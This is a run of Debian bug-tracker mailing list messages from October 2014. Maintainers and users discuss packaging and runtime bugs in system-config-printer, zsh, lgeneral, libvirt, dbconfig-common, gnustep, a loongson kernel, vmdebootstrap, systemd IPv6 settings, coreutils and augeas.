severity 764472 important reassign 764472 system-config-printer merge 764472 764253 thanks On Fri 10 Oct 2014 at 09:47:41 +0200, Antonio Sartori wrote: Il 09/10/2014 13:20, Brian Potkin ha scritto: Acroread is non-running but I'd be happier if it were not around. Please would you purge it from the system and try a print or two. From evince is one obvious application. Iceweasel uses the same GTK print dialog so it too would be suitable. I uninstalled acroread, and the problem disappeared. I installed it again, and still I wasn't able to reproduce the bug. So I'm not sure whether it depends on acroread. I tried to print various things on different printers from various applications, but I haven't been able to reproduce the problem. I'll keep an eye on it and see if this happens again. I think the best we can do here is let the system-config-printer maintainers come a decision. Thank you for your investigations. Regards, Brian. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#707760: zsh: Alternatives broken for long time during upgrade from zsh4 to zsh5
Hi, Frank Terbeck wrote: Frank Terbeck wrote: [...] #!/bin/zsh -f if [[ -o interactive ]]; then [...] This wasn't the smartest idea ever. Since this is a script, it's obviously not interactive invocation, which means that the test always fails. Noticed that, too. :-) Oh well. I guess we can just warn upon every invocation interactive or not. That's how I committed it last night: https://anonscm.debian.org/cgit/collab-maint/zsh.git/commit/?id=438969ffb81fd46b514d42a77b74890a7b4f778f Regards, Axel -- ,''`. | Axel Beckert a...@debian.org, http://people.debian.org/~abe/ : :' : | Debian Developer, ftp.ch.debian.org Admin `. `' | 1024D: F067 EA27 26B9 C3FC 1486 202E C09E 1D89 9593 0EDE `-| 4096R: 2517 B724 C5F6 CA99 5329 6E61 2FF9 CD59 6126 16B5 -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#762906: krb5-auth-dialog: Popup show incorrect princial name (without username)
On Fri, Oct 10, 2014 at 09:39:00AM +0200, Petter Reinholdtsen wrote: Hi. Did the debug info Wolfgang sent help you pinpoint the problem? I did not get around to have a look. Anything more we can provide to assist? No...except for buying me some more free time ;) Cheers, -- Guido -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764668: lgeneral: segfault when loading scenarios
Control: tags -1 confirmed Control: severity -1 serious On 10.10.2014 05:31, Roland Hieber wrote: Package: lgeneral Version: 1.2.3+dfsg-2 Severity: important Dear Maintainer, I tried lgeneral for the first time, but every time I try to load a scenario, the program segfaults. Apparently it does not matter which scenario I load. [...] Mix_LoadWAV_RW with NULL src [...] Versions of packages lgeneral recommends: pn lgc-pg none The problem is that you don't have lgc-pg installed which contains the sound files for lgeneral. This is a mistake on my part since I did not want to duplicate the sound files in the lgeneral-data package. For saving some disk space for users I used symlinks instead. Without lgc-pg those symlinks point to non-existent files and lgeneral will segfault. Thus the dependency of lgc-pg has to be changed from Recommends to Depends. I will take care of that with the next upload of lgeneral. Thanks for your report. Regards, Markus signature.asc Description: OpenPGP digital signature
Bug#737008: Intend to NMU with new 3.4.8 version
Hi! I've packaged the new 3.4.8 version, I'm trying to close some of the bugs we now have opened and also testing stability. As I have not heard from Luigi during all this time, so as soon as I have it tested I plan to do a NMU of the package with a deferred upload (I plan to do this on monday). The target would be to have 3.4 on Jessie, if anybody has anything to object to this please say it here. Regards. -- Manty/BestiaTester - http://manty.net -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764679: [Pkg-libvirt-maintainers] Bug#764679: libvirt-bin: conffiles not removed
On Fri, Oct 10, 2014 at 03:34:01PM +0800, Paul Wise wrote:
Package: libvirt-bin
Version: 1.2.8-3
Severity: normal
Usertags: conffile
User: debian...@lists.debian.org
Usertags: obsolete-conffile adequate
The recent upgrade did not deal with obsolete conffiles properly.
Please use the dpkg-maintscript-helper support provided by dh_installdeb
to remove these obsolete conffiles on upgrade.
http://www.debian.org/doc/debian-policy/ch-files.html#s-config-files
http://manpages.debian.net/man/1/dh_installdeb
This bug report brought to you by adequate:
http://bonedaddy.net/pabs3/log/2013/02/23/inadequate-software/
$ pkg=libvirt-bin ; adequate $pkg ; dpkg-query -W -f='${Conffiles}\n' $pkg |
grep obsolete
libvirt-bin: obsolete-conffile /etc/apparmor.d/libvirtd/TEMPLATE
libvirt-bin: obsolete-conffile /etc/apparmor.d/libvirt/TEMPLATE
$ /etc/apparmor.d/libvirtd/TEMPLATE b0dfa704c6297fd9a4e68f0137c6be88 obsolete
/etc/apparmor.d/libvirt/TEMPLATE 0d5580a22d95fc622cd5b8efe54b8757 obsolete
This is handled by libvirt-daemon-system since libvirt-bin is
transitional and l-d-s took over it's conffiles. So is there really a
bug here?
Cheers,
-- Guido
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#556507: does not escape database name
Hi Michal, I am trying to fix some issues with dbconfig-common before the freeze... (Hope I can get it to work). On Mon, 16 Nov 2009 14:36:38 +0100 Michal Čihař ni...@debian.org wrote: it looks like dbconfig-common does not escape database name. When user enters something like foo-bar as database name, it is passed to MySQL without escaping and it fails: mysql said: ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-bar' at line 1 Is phpmyadmin (I assume you caught this error in that package) using a custom template or is it using the dbconfig-common templates? In the former case, this might be related or the same as bug 716841. Do you know how this field should be escaped (not only - but maybe other chars as well)? Do you know if other fields should be escaped? Are your strings quoted in the template? Paul signature.asc Description: OpenPGP digital signature
Bug#764695: gnustep-back-common does not configure if no fonts with spaces in directory name are installed
Package: gnustep-back-common Version: 0.24.0-2 Severity: important Dear Maintainer, the gnustep-back-common.postinst script tries to remove white spaces in directories (see line 19). Unfortunately, this for loop fails, if there are no directories with white spaces. The bugos argument */ is passed to the mv command and the resulting error aborts the configuration process. -- System Information: Debian Release: 7.6 Architecture: armhf (armv6l) Kernel: Linux 3.12.28+ (PREEMPT) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) (ignored: LC_ALL set to en_GB.UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages gnustep-back-common depends on: ii fontconfig 2.9.0-7.1 ii fonts-freefont-ttf [ttf-freefont] 20120503-1 ii gnustep-common [gnustep-fslayout-fhs] 2.6.2-2 ii mknfonts.tool 0.5-11 gnustep-back-common recommends no packages. gnustep-back-common suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#749659: audacity: Systematic check for Printf/Format mismatches
El 09/10/14 a les 01:11, Benjamin Drung ha escrit: Your patch needs to be forward ported, We already have a patch that fixes 2.0.6 for wxWidgets 3.0. Back when you asked me to forward-port my patch to the current svn head (in order to get the changes into upstream), I did. Apart from the porting it includes specific fixes for svn head. Fortunately, 2.0.6 isn't that different from what was svn head back then, so we have a patch for 2.0.6, find it attached. To keep it small, I've removed everything that isn't relevant here (fixes of dead code or code that otherwise isn't relevant on Debian), but we will have that available for upstream. Be aware that this patch is by far not as well tested as my patch for 2.0.5! [...] backport the preliminary upstream changes for wxWidgets 3.0.1 from r13403 [...] [...] Upstream want to get wx3.0 support in for 2.0.7 and is actively working on getting it in the svn Actively working, yes, unfortunately. Why? Your messages sounded like upstream was aware of this being resolved already, especially with you being part of upstream (AFAIK). Not only was this a major duplication of effort, but now it also requires additional porting - which is mainly manual work here, given that different people have been working on similar issues and touching the same code, but in different ways. What we're doing here is really inefficient. So you could provide the missing bits and we will get upstream to test your proposed changes (when I commit them to the upstream repository). So you're proposing to do the upstream integration first? I'd do it the other way round, given that for 2.0.6 we already have a patch and that the upstream integration has just gotten more complicated. We've already lost a lot of time. And before we just upload stuff to upstream, I'd also like to discuss the upstream integration with the person that has been working on wx3.0 there, especially as he has been fixing some code that I consider obsolete with wx3.0 and that I'd like to fix some things in a different way. Cheers, Martin Description: Compile audacity against wxWidgets 3.0 Solved compilation issues: (1.) Allow wxWidgets 3.0 in various configure scripts. (2.) The file dialog was derived from an internal wx class that disappeared in wx3.0 (discussed in further detail below). (3.) In several places the types in interfaces changed between wxChar* and wxString. I've tried to modify the code so it works with both interfaces (thanks to implicit conversion; may look a bit weird in some places). (4.) Calls to wxTheApp-SuspendIdleCallback() are no longer supported. They were part of a workaround for a clipboard problem, which fortunately doesn't seem to be there any longer in wx3.0, so I deactivated it for wx3.0. (5.) AddPendingEvent() and ProcessEvent() now have the visibility protected in wxWindow. It has always been a bad idea to call them directly on a wxWindow object, but now it's explicitly forbidden. Instead, those functions should be called on the object returned by GetEventHandler(). (6.) The class wxStandardPaths is now a singleton and has to be treated as such (no more explicit constructor calls). (7.) wxLogWarning is a macro now, so the :: prefix doesn't work on it anymore. (8.) Several int types (which were actually used as enums) are now real enum types (e.g. wxRasterOperationMode, wxMouseButton) and have to be used as such. (9.) Apart from the FD constants (which have been fixed in Olly's patch already) there are some other constants which have received a prefix (e.g. wx* - wxFONTFAMILY_*, wx* - wxFONTSTYLE_*, wx* - wxFONTWEIGHT_*). (10.) Signature changes in constructors of wxFlexGridSizer and wxIcon and wxSizeEvent (11.) Missing includes (missing header files were probably included indirectly in wx2.8 by chance) (12.) When deriving from the abstract class wxGridTableBase, different methods have to be implemented with wx3.0 (EndEdit with new signature and ApplyEdit) than before with wx2.8 (only EndEdit with old signature). Now both versions are implemented in parallel in the classes TimeEditor and ChoiceEditor (one version essentially being a wrapper of the other one). Solved runtime issues: (1.) Segmentation fault: The LadspaEffectDialog receives EVT_TEXT events before it's properly initialized. To prevent this, a workaround was already in place, but was only active on Windows. It looks like this happens now on more platforms (including GTK). As the workaround doesn't do any harm, even if activated unnecessarily, I've simply activated it for all environments. (2.) GTK critical warning IA__gtk_range_set_range: assertion 'min max' failed because of negative numbers as result of window size checking. Added a sanity check that straightens up the numbers in edge cases. (3.) GTK critical warning IA__gdk_window_get_origin: assertion 'GDK_IS_WINDOW (window)' failed: Received events of type wxSizeEvent on the main project
Bug#750436: ITP: window-picker-applet -- icon based task list of open Windows for Gnome3
Hi, Control: reassign -1 gnome-applets 3.8.1-1 This applet has been merged into gnome-applets source tree, and will be part of next gnome-applets release. https://git.gnome.org/browse/gnome-applets/commit/?id=1488a6eb2edea605 That is great news. When is this release being scheduled (more or less)? Cheers! -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764253: system-config-printer: Creates millions of ppd symlinks
On Mon 06 Oct 2014 at 19:06:33 +0200, Peter De Wachter wrote: After printing a couple of things (using icedove and evince), I noticed my laptop became rather sluggish. Turns out that (a) a scp-dbus-service Python script was using a lot of CPU time, and (b) I had literally millions of symlinks in my /tmp directory. The symlinks were all of the following form: /tmp$ ls -l 5432c4f624457 lrwxrwxrwx 1 pdewacht pdewacht 29 okt 6 18:36 5432c4f624457 - /etc/cups/ppd/hp1018local.ppd Creation of new symlinks stopped after killing scp-dbus-service, so that process seems responsible. Afterward I tried to reproduce the problem by printing some more, but nothing weird happened. Hello Peter, Please take a look at #764472 to see if there is anything there which helps you to add any further useful information. Regards, Brian. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764657: dcfldd FTBFS on arm64, outdated config.sub/guess
Hi Peter! Really, I forgot this detail. Thanks a lot for your help. I am uploading a revision now. Cheers, Eriberto 2014-10-09 19:36 GMT-03:00 peter green plugw...@p10link.net: Package: dcfldd Version: 1.3.4.1-4 Severity: important Tags: patch Your package is failing to build on arm64 due to outdated config.sub/guess. You already have autotools-dev in your build-depends but don't appear to be actually using it. Given that -2.1 succeeded and reading the changelog I presume this is a result of the debian/rules restructuring in -3 (no build of -3 was attempted on arm64, presumablly due to lack of buildd time). A debdiff adding --with autotools-dev is attatched. If there is no response to this bug a NMU may well follow, if you have any objections please raise them now. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764223: booting eder.debian.org fails
Hi, On Mon Oct 06, 2014 at 17:06:23 +0100, Ben Hutchings wrote: On Mon, 2014-10-06 at 13:20 +, Martin Zobel-Helas wrote: Source: linux-image-loongson-2e Version: 3.16+61~bpo70+1 Severity: grave Booting eder.debian.org with this kernel fails while booting linux-image-3.14-0.bpo.2-loongson-2e works just fine: [...] [4.70] swapper: page allocation failure: order:0, mode:0x10d1 [4.708000] CPU: 0 PID: 1 Comm: swapper Not tainted 3.16-0.bpo.2-loongson-2e #1 Debian 3.16.3-2~bpo70+1 [4.716000] Stack : 8000 803f4f98 8095 80953908 8074cec8 8080b267 0001 0040 10d1 8080 806582d0 98004e0777f8 10d1 801781cc 98004e073930 8074cec8 00ff8080b226 98004e077750 801f6904 b54c6fb4 10d1 0001 80109c60 8088ef28 801f6904 ... [4.784000] Call Trace: [4.788000] [80109c60] show_stack+0x78/0x90 [4.792000] [801f6904] warn_alloc_failed+0xfc/0x140 [4.80] [801f9f7c] __alloc_pages_nodemask+0x7c4/0xa30 [4.808000] [801fa20c] __get_free_pages+0x24/0xa0 [4.812000] [80119bec] mips_dma_alloc_coherent+0x10c/0x1e0 [4.82] [804ac320] dmam_alloc_coherent+0x80/0xf8 [4.824000] [804ec978] ata_bmdma_port_start+0x48/0x78 So we couldn't allocate memory for a DMA buffer (using GFP_KERNEL | __GFP_NORETRY | GFP_DMA). [...] [4.972000] DMA free:0kB min:0kB low:0kB high:0kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:16384kB managed:0kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:0kB slab_unreclaimable:0kB kernel_stack:0kB pagetables:0kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes [...] And we have no memory available in the DMA zone. But this is an ISA DMA zone (first 16 MB of bus addresses). Why would it need memory in that range? Maybe its DMA mask is no longer initialised correctly (pata_via doesn't set it explicitly, but for PCI devices it should normally be set to DMA_BIT_MASK(32) by default). Can you test some intermediate kernel versions to narrow this down? There should be several on snapshot.debian.org. zobel@eder:~% uname -a Linux eder 3.16-rc5-loongson-2e #1 Debian 3.16~rc5-1~exp1 (2014-07-15) mips64 GNU/Linux The 3.16rc5 kernel still boots. Hope that helps to narrow down the problem. Cheers, Martin -- Martin Zobel-Helas zo...@debian.orgDebian System Administrator Debian GNU/Linux Developer Debian Listmaster http://about.me/zobel Debian Webmaster GPG Fingerprint: 6B18 5642 8E41 EC89 3D5D BDBB 53B1 AC6D B11B 627B -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764696: psensor: unsatisfiable build-dependencies on kfreebsd-*
Package: src:psensor Version: 1.1.3-1 Severity: serious Hi, psensor fails to build from source on kFreeBSD because libudisks2-dev is not built there. The arch list for psensors should be adjusted to suit. -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 directhex i have six years of solaris sysadmin experience, from 8-10. i am well qualified to say it is made from bonghits layered on top of bonghits -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#751636: openssh-server: ssh sessions are not cleanly termined on shutdown/restart with systemd
Hi, I also created a workaround for my minimal environment, just yesterday. It involves patching /etc/acpi/powerbtn-acpi-support.sh (I use acpid/acpi-support-base for power events) and adding aliases for 'shutdown' and 'reboot': http://www.schreyben.de/Systemd_Haengende_SSH-Verbindungen_beim_Neustart Also seems to work well so far. Regards Ingmar -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#707760: zsh: Alternatives broken for long time during upgrade from zsh4 to zsh5
At 12:12 +0200 10 Oct 2014, Axel Beckert a...@debian.org wrote: That's how I committed it last night: https://anonscm.debian.org/cgit/collab-maint/zsh.git/commit/?id=438969ffb81fd46b514d42a77b74890a7b4f778f Shouldn't the #! line use zsh5 explicitly? Otherwise it doesn't seem like this would solve the problem it's just adding another layer of indirection to get to the /bin/zsh which will still be broken during the upgrade process. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#763219: zeitgeist needs valadoc with vala 0.26 support.
Hi Sebastian! On Fri, Oct 10, 2014 at 03:37:00AM +0200, Sebastian Reichel wrote: I just uploaded valadoc 0.23.2~git20140902-2, which should include support for vala 0.26. Thanks for the quick upload! Would also appreciate if you'd drop the vala 0.24 support so we can get rid of the old vala. (The two remaining users are valadoc and valabind. And if both can drop vala 0.24 dependency before the freeze we can probably get down to shipping only 1 vala with jessie, instead of the current 3.) Regards, Andreas Henriksson -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#707760: zsh: Alternatives broken for long time during upgrade from zsh4 to zsh5
At 06:44 -0400 10 Oct 2014, I wrote: At 12:12 +0200 10 Oct 2014, Axel Beckert a...@debian.org wrote: That's how I committed it last night: https://anonscm.debian.org/cgit/collab-maint/zsh.git/commit/?id=438969ffb81fd46b514d42a77b74890a7b4f778f Shouldn't the #! line use zsh5 explicitly? Otherwise it doesn't seem like this would solve the problem it's just adding another layer of indirection to get to the /bin/zsh which will still be broken during the upgrade process. Actually, during the upgrade /bin/zsh would be pointing back to the script itself giving an infinite loop. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764697: systemd: enable ipv6 by default at least for lo
Package: systemd Version: 215-5+b1 Severity: wishlist Dear Maintainer, currently in /etc/sysctl.d/99-sysctl.conf provided by the systemd package ipv6 seems to be disabled by default i.e. net.ipv6.conf.all.disable_ipv6 = 1 net.ipv6.conf.default.disable_ipv6 = 1 net.ipv6.conf.lo.disable_ipv6 = 1 net.ipv6.conf.eth0.disable_ipv6 = 1 This breaks cups: #747073. The package default should at least enable ipv6 for the loopback interface. For me net.ipv6.conf.all.disable_ipv6 = 0 net.ipv6.conf.default.disable_ipv6 = 0 net.ipv6.conf.lo.disable_ipv6 = 0 made cups start again properly. many thanks Gert -- Package-specific info: -- System Information: Debian Release: jessie/sid APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (200, 'experimental') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 3.16-2-amd64 (SMP w/6 CPU cores) Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Shell: /bin/sh linked to /bin/dash Versions of packages systemd depends on: ii acl 2.2.52-2 ii adduser 3.113+nmu3 ii initscripts 2.88dsf-53.4 ii libacl1 2.2.52-2 ii libaudit1 1:2.4-1 ii libblkid1 2.20.1-5.11 ii libc6 2.19-11 ii libcap2 1:2.24-6 ii libcap2-bin 1:2.24-6 ii libcryptsetup42:1.6.6-1 ii libgcrypt20 1.6.2-3 ii libkmod2 18-3 ii liblzma5 5.1.1alpha+20120614-2 ii libpam0g 1.1.8-3.1 ii libselinux1 2.3-2 ii libsystemd0 215-5+b1 ii openrc [sysv-rc] 0.12.4+20131230-9 ii udev 215-5+b1 ii util-linux2.20.1-5.11 Versions of packages systemd recommends: ii dbus1.8.8-1+b1 ii libpam-systemd 215-5+b1 Versions of packages systemd suggests: pn systemd-ui none -- no debconf information signature.asc Description: This is a digitally signed message part
Bug#764691: gnumed-client: Please depend on python-wxgtk3.0 first (or exclusively)
On Fri, Oct 10, 2014 at 10:46:24PM +1300, Olly Betts wrote: Source: gnumed-client Version: 1.4.11+dfsg-1 Severity: normal User: freewx-ma...@lists.alioth.debian.org Usertags: wxpy3.0 In #755757, pochu noted that gnumed-client lists python-wxgtk2.8 as the first alternative in its dependencies and suggested I file a bug: Depends: python:any, python-wxgtk2.8 | python-wxgtk3.0, [...] We're on course for completing the wxwidgets3.0 transition for jessie, so depending only on python-wxgtk3.0 is probably sensible, but if you want to keep the alternative, making it python-wxgtk3.0|python-wxgtk2.8 would be preferable. That's fine with me. Since there will be a 1.4.12 bug fix release today or tomorrow I'd suggest waiting for that and fixing the Depends in that version. It should be noted that Depends: python:any, [...] doesn't quite cut it: we depend on Python _2_ and can NOT run under 3 at the moment. Karsten -- GPG key ID E4071346 @ eu.pool.sks-keyservers.net E167 67FD A291 2BEA 73BD 4537 78B9 A9F9 E407 1346 -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#763843: RFA: mathjax -- JavaScript display engine for LaTeX and MathML
Hi Dmitry Shachnev, I'm a new arrival to debian, I want to work on this On Fri, 03 Oct 2014 09:53:39 +0400 Dmitry Shachnev m*7...@gmail.com wrote: Package: wnpp Severity: normal I have been maintaining MathJax for more than two years, but now I’m becoming less interested in it and having less time for it. I would like the new maintainer to make sure the fonts are properly rebuilt from sources (using MathJax-dev scripts), a task that I started but never finished (because things became much complicated on upstream side). Binary packages built from mathjax source are: libjs-mathjax fonts-mathjax fonts-mathjax-extras The package description is: MathJax was designed with the goal of consolidating the recent advances in web technologies into a single, definitive, math-on-the-web platform supporting the major browsers and operating systems. . It requires no setup on the part of the user (no plugins to download or software to install), so the page author can write web documents that include mathematics and be confident that users will be able to view it naturally and easily. Simply include MathJax and some mathematics in a web page, and MathJax will do the rest. -- Dmitry Shachnev -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764596: vmdebootstrap generated sid images fail to boot on fsck error loop
tag 764596 + help thanks On Thu, 9 Oct 2014 14:53:54 +0200 Martin Pitt mp...@debian.org wrote: Package: vmdebootstrap Version: 0.3-1 Hello, I just tried to build an image of current sid for running autopkgtests in: $ sudo vmdebootstrap --verbose --serial-console --distribution=sid --user=adt/adt --size=20 --mbr --image=adt-sid.raw This worked in the past, but now they are stuck in a boot failure loop; $ kvm -m 2048 -snapshot -drive file=adt-sid.raw,if=virtio -monitor none -nographic -serial stdio [...] Begin: Loading essential drivers ... done. Begin: Running /scripts/init-premount ... done. Begin: Mounting root file system ... Begin: Running /scripts/local-top ... done. Begin: Running /scripts/local-premount ... done. Begin: Checking root file system ... fsck from util-linux 2.25.1 fsck: error 2 (No such file or directory) while executing fsck.ext4 for /dev/vda1 fsck exited with status code 8 done. Failure: An automatic file system check (fsck) of the root filesystem failed. A manual fsck must be performed, then the system restarted. The fsck should be performed in maintenance mode with the root filesystem mounted in read-only mode. Warning: The root filesystem is currently mounted in read-only mode. A maintenance shell will now be started. After performing system maintenance, press CONTROL-D to terminate the maintenance shell and restart the system. sulogin: cannot open password database! [1.380144] tsc: Refined TSC clocksource calibration: 2594.111 MHz [3.237861] sulogin[94]: segfault at 8 ip 004018e0 sp 7324d340 error 4 in sulogin[40+3000] Segment violation Failure: Attempt to start maintenance shell failed. Will restart in 5 seconds. [8.245048] Unregister pv shared memory for cpu 0 [8.294086] reboot: Restarting system [8.295631] reboot: machine restart Then the kernel reboots, and it goes back to the very same problem again, over and over. This might be a regression from recent util-linux, or some misconfiguration, or incompatibility with extlinux, not sure. fsck.ext4 definitively exists (i. e. e2fsprogs is installed), and /dev/vda1 also exists; it's also apparently able to map the root UUID to /dev/vda1. I also tried with --grub; image generation succeeds and it says Configuring grub2 Installing extlinux Cleaning up at the end, but booting in qemu doesn't work at all (there's not a single message). That's a different bug/report, but I wanted to mention it. I see the same fsck problems with extlinux but with a test using grub, I get grub loading properly and then the same fsck error causing a retry. (I do get a Segment violation just before the retry) sudo vmdebootstrap --image sid2.img --distribution=sid --owner=neil --verbose --grub I'm not sure what is going wrong here, wheezy images work fine. Mounting the image using an offset works fine and fsck from outside the KVM using kpartx and /dev/mapper/loop1p1 works without errors too. I'm not sure this is a bug in vmdebootstrap. A test with Jessie and grub works: sudo vmdebootstrap --image jessie.img --distribution=jessie --owner=neil --verbose --grub That uses util-linux 2.20.1-5.11 I'm going to pull the package list out of the working jessie and diff against the broken sid... -- Neil Williams = http://www.linux.codehelp.co.uk/ signature.asc Description: PGP signature
Bug#764698: coreutils: package description omits numfmt
Package: coreutils Version: 8.23-2 Severity: wishlist Tags: patch The package description says: Specifically, this package includes: arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false flock fmt fold groups head hostid id install join link ln logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test timeout touch tr true truncate tsort tty uname unexpand uniq unlink users vdir wc who whoami yes This has already been amended to include realpath, added in 8.23-1, but misses numfmt, added without fanfare somewhere around 8.21-1. This being an Essential package, my package description nitpicks are even lower than usual on the severity scale (users aren't going to say Oh, so it has numfmt now, in that case I'll install it!), but here's a patch anyway. -- System Information: Debian Release: jessie/sid APT prefers testing APT policy: (990, 'testing'), (50, 'unstable') Architecture: i386 (i686) Kernel: Linux 3.17-rc5-686-pae (SMP w/1 CPU core) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages coreutils depends on: ii libacl1 2.2.52-2 ii libattr1 1:2.4.47-2 ii libc62.19-11 ii libselinux1 2.3-2 coreutils recommends no packages. coreutils suggests no packages. -- no debconf information -- JBR with qualifications in linguistics, experience as a Debian sysadmin, and probably no clue about this particular package diff -ru coreutils-8.23.pristine/debian/control coreutils-8.23/debian/control --- coreutils-8.23.pristine/debian/control 2014-10-09 18:44:05.0 +0100 +++ coreutils-8.23/debian/control 2014-10-09 18:45:21.834664154 +0100 @@ -22,11 +22,11 @@ arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false flock fmt fold groups head hostid id install join link ln - logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc od - paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm rmdir - runcon sha*sum seq shred sleep sort split stat stty sum sync tac tail tee - test timeout touch tr true truncate tsort tty uname unexpand uniq unlink - users vdir wc who whoami yes + logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt + od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm + rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac + tail tee test timeout touch tr true truncate tsort tty uname unexpand + uniq unlink users vdir wc who whoami yes Homepage: http://gnu.org/software/coreutils Package: mktemp
Bug#707760: zsh: Alternatives broken for long time during upgrade from zsh4 to zsh5
Hi Aaron, Aaron Schrab wrote: At 12:12 +0200 10 Oct 2014, Axel Beckert a...@debian.org wrote: That's how I committed it last night: https://anonscm.debian.org/cgit/collab-maint/zsh.git/commit/?id=438969ffb81fd46b514d42a77b74890a7b4f778f Shouldn't the #! line use zsh5 explicitly? Yes, we just noticed it, too, and fixed it: https://anonscm.debian.org/cgit/collab-maint/zsh.git/commit/?id=a8b00da664fbea424f5c11e9b22f641b66059642 Thanks for cross-checking! Regards, Axel -- ,''`. | Axel Beckert a...@debian.org, http://people.debian.org/~abe/ : :' : | Debian Developer, ftp.ch.debian.org Admin `. `' | 1024D: F067 EA27 26B9 C3FC 1486 202E C09E 1D89 9593 0EDE `-| 4096R: 2517 B724 C5F6 CA99 5329 6E61 2FF9 CD59 6126 16B5 -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764699: augeas-lenses: httpd lens doesn't include /etc/apache2/conf-enabled/*
Package: augeas-lenses Version: 1.2.0-0.2 Severity: normal /usr/share/augeas/lenses/dist/httpd.aug lists the directories which should be checked for apache2 config files, however it fails to list /etc/apache2/conf-enabled/*. The list of paths in httpd.aug should be updated to include this directory. -- System Information: Debian Release: jessie/sid APT prefers testing APT policy: (500, 'testing') Architecture: amd64 (x86_64) Kernel: Linux 3.16-2-amd64 (SMP w/1 CPU core) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash augeas-lenses depends on no packages. augeas-lenses recommends no packages. Versions of packages augeas-lenses suggests: pn augeas-doc none -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
